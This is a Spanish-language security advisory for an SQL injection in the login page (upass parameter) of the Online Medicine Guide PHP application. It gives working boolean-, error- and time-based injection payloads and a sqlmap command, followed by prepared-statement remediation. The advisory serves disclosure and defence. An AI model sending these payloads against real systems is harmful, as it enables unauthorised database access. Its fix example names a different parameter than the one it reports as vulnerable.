CVE-2025-60736: Vulnerabilidad de Inyección SQL en Online Medicine Guide
Resumen Ejecutivo
Este documento describe una vulnerabilidad crítica de inyección SQL descubierta en la aplicación web Online Medicine Guide. La vulnerabilidad permite el acceso no autorizado a la base de datos y plantea riesgos de seguridad significativos para la aplicación y sus usuarios.
Remitente
Producto Afectado
Detalles Técnicos
- Lenguaje de Programación: PHP
- Base de Datos: MySQL
- Frontend: CSS, JavaScript
- Arquitectura: Pila LAMP/WAMP
2. Detalles de la Vulnerabilidad
Clasificación de la Vulnerabilidad
- ID CVE: CVE-2025-60736
- Tipo de Vulnerabilidad: Inyección SQL
- Severidad: Crítica
- Puntuación CVSS: 9.8 (Crítica)
- Vector de Ataque: Red
- Complejidad del Ataque: Baja
- Privilegios Requeridos: Ninguno
- Interacción del Usuario: Ninguna
- Alcance: Cambiado
Análisis de Causa Raíz
La vulnerabilidad se origina por una validación y saneamiento insuficientes de las entradas en el archivo /login.php. La aplicación concatena directamente la entrada del usuario del parámetro upass en las consultas SQL sin un saneamiento adecuado ni sentencias preparadas.
Causa Raíz Técnica:
- Concatenación directa de cadenas en consultas SQL
- Falta de validación y saneamiento de entradas
- Ausencia de implementación de sentencias preparadas
- Enlace de parámetros insuficiente
3. Prueba de Concepto
Ubicación de la Vulnerabilidad
- Archivo:
/login.php
- Parámetro:
upass (POST)
- Vector de Ataque: Manipulación de solicitudes HTTP POST
Métodos de Explotación
Método 1: Inyección SQL Basada en Booleanos
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' OR NOT 1852=1852-- iPRx
Método 1: Inyección SQL Basada en Errores
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' AND EXTRACTVALUE(4672,CONCAT(0x5c,0x7176707071,(SELECT (ELT(4672=4672,1))),0x71717a7071))-- knKp
Método 2: Inyección SQL Ciega Basada en Tiempo
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' AND (SELECT 2089 FROM (SELECT(SLEEP(5)))zUlY)-- mWfa
Pruebas Automatizadas
La vulnerabilidad fue confirmada usando sqlmap:
sqlmap -u "http://localhost:8000/login.php" --data="uname=admin&upass=test" -p upass --batch --dbs

- Parche de Emergencia: Implementar validación de entradas para el parámetro
upass
- Monitoreo de Base de Datos: Habilitar registro integral de actividades sospechosas
- Restricción de Acceso: Implementar limitación de velocidad y restricciones basadas en IP
- Auditoría de Seguridad: Realizar una evaluación de seguridad inmediata
Ejemplo de Corrección de Código
Antes (Vulnerable):
$query = "SELECT * FROM users WHERE username = '" . $_POST['uname'] . "'";
Después (Seguro):
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$_POST['uname']]);
Implementación de Buenas Prácticas de Seguridad
- Sentencias Preparadas: Usar consultas parametrizadas exclusivamente
- Validación de Entradas: Implementar validación basada en listas blancas
- Codificación de Salidas: Codificar adecuadamente todos los datos de salida
- Manejo de Errores: Implementar manejo seguro de errores sin divulgación de información
- Controles de Acceso: Implementar autenticación y autorización adecuadas
Versión del Documento: 1.0
Última Actualización: 03/10/2025 (dd/mm/aaaa)